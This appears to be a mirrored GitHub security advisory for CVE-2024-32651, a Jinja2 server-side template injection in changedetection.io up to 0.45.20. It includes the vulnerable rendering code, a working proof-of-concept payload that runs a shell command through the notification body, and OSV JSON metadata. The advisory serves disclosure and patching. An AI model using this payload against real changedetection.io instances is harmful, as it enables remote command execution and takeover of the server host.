ghsa-4r7v-whpg-8rx3
Vulnerability from github
Summary
A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.
Details
changedetection.io version: 0.45.20
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
dgtlmoon/changedetection.io latest 53529c2e69f1 44 hours ago 423MB
The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.
python
from jinja2 import Environment, BaseLoader
...
# Get the notification body from datastore
jinja2_env = Environment(loader=BaseLoader)
n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)
n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)
PoC
- Create/Edit a URL watch item
-
Under Notifications tab insert this payload:
python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} -
See Telegram (or other supported messaging app) notification
Impact
In the PoC I've used id as payload and Telegram to read the result.
Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell).
The impact is critical as the attacker can completely takeover the server host.
This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).
References
- https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- https://docs.cobalt.io/bestpractices/prevent-ssti/
Credits
Edoardo Ottavianelli
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.45.20"
},
"package": {
"ecosystem": "PyPI",
"name": "changedetection.io"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.45.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32651"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-15T18:05:15Z",
"nvd_published_at": "2024-04-26T00:15:08Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.\n\n### Details\n\nchangedetection.io version: 0.45.20\n```\ndocker images\nREPOSITORY TAG IMAGE ID CREATED SIZE\ndgtlmoon/changedetection.io latest 53529c2e69f1 44 hours ago 423MB\n```\n\nThe vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.\n```python\nfrom jinja2 import Environment, BaseLoader\n...\n # Get the notification body from datastore\n jinja2_env = Environment(loader=BaseLoader)\n n_body = jinja2_env.from_string(n_object.get(\u0027notification_body\u0027, \u0027\u0027)).render(**notification_parameters)\n n_title = jinja2_env.from_string(n_object.get(\u0027notification_title\u0027, \u0027\u0027)).render(**notification_parameters)\n```\n\n\n### PoC\n1. Create/Edit a URL watch item\n2. Under *Notifications* tab insert this payload: \n```python\n{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\n```\n\n\n3. See Telegram (or other supported messaging app) notification\n\n\n\n\n### Impact\nIn the PoC I\u0027ve used `id` as payload and Telegram to read the result. \nAttackers can run any system command without any restriction and they don\u0027t need to read the result in the notification app (e.g. they could use a reverse shell).\nThe impact is critical as the attacker can completely takeover the server host.\nThis can be reduced if changedetection access is protected by login page with a password, but this isn\u0027t required by the application (not by default and not enforced).\n\n### References\n- https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/\n- https://docs.cobalt.io/bestpractices/prevent-ssti/\n\n### Credits\n\nEdoardo Ottavianelli",
"id": "GHSA-4r7v-whpg-8rx3",
"modified": "2024-10-15T18:05:15Z",
"published": "2024-10-15T18:05:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7v-whpg-8rx3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32651"
},
{
"type": "WEB",
"url": "https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgtlmoon/changedetection.io"
},
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.45.21"
},
{
"type": "WEB",
"url": "https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.